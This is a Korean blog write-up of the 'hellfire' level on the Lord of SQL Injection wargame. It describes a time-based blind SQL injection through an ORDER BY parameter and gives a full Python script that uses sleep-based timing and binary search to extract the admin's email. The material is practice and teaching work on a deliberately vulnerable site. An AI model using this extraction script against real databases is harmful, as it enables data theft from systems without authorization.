hellfire의 풀이를 시작해 보도록 하겠다. 먼저 이제 컬럼이 id, email,score로 세개가 되었다.
그리고 쿼리를 보니 order에 따라서 모든 값을 다 가져온다.
그리고 출력할때 admin의 email은 *로 숨겨서 출력을 한다. 이를 볼때 admin의 email을 알아 맞추는 게임이 되겠다.
union이 막혀있고 지금까지 배운 내용으로 보아서는 time based injection 내용인 것 같아서 테스트를 해보았다.
실제로 위 쿼리를 보내면 3초이따가 결과가 수행된다.
sleep(2)를 주고 파이썬에서 실행시간 측정을 해보았다. 2초가 걸리는 것을 알 수 있었고 이를 이용해 brute forcing을 하면 될 것 같았다. 그리고 너무 느릴 거 같아서 이진탐색을 적용했다.
그리고 email 길이가 28자라는 것도 알아냈다.
거의 3분간 돌린결과 email이 나왔다. 근데 저 / 은 그냥 시간을 좀 타이트하게 줘서 나온 버그같아서 .으로 바꿔줬다.
참고로 그냥 순회로 돌리면 시간차가 2배정도 난다.
#!/usr/bin/python
#-*-coding:utf-8 -*-
import urllib,urllib2,requests
import time
header={"Cookie":"****"}
password=''
whole=0
for i in range(1,29) :
max=0xff
min=0
s=time.time()
while True :
k=int((max+min)/2)
url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=(1)%20and%20id=%27admin%27%20and%20if(ascii(substr(email,"
url+=str(i)+",1))<"+str(k)+",sleep(1),1)"
start=time.time()
request=requests.get(url,headers=header)
interval=time.time()-start #실행 시간
if interval>1 : #만약 실행시간이 1초가 넘어간다면 조건이 참인경우
max=k
else :
min=k
#print('max : '+hex(max)+' min : '+hex(min))
k=int((max+min)/2)
url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?order=(1)%20and%20id=%27admin%27%20and%20if(ascii(substr(email,"
url+=str(i)+",1))="+str(k)+",sleep(2),1)"
start=time.time()
request=requests.get(url,headers=header)
interval=time.time()-start #실행 시간
if interval>1 : #만약 실행시간이 1초가 넘어간다면 조건이 참인경우
password+=chr(k)
print(password)
whole+=time.time()-s
print(whole)
break
print(password)
'전공쪽 > Lord of Sql injection' 카테고리의 다른 글
[los] green dragon (0) | 2020.12.15 |
---|---|
[los] evil_wizard (0) | 2020.12.15 |
[los]dark eyes (0) | 2020.12.15 |
[los]iron golem (0) | 2020.12.14 |
[los] dragon (0) | 2020.11.23 |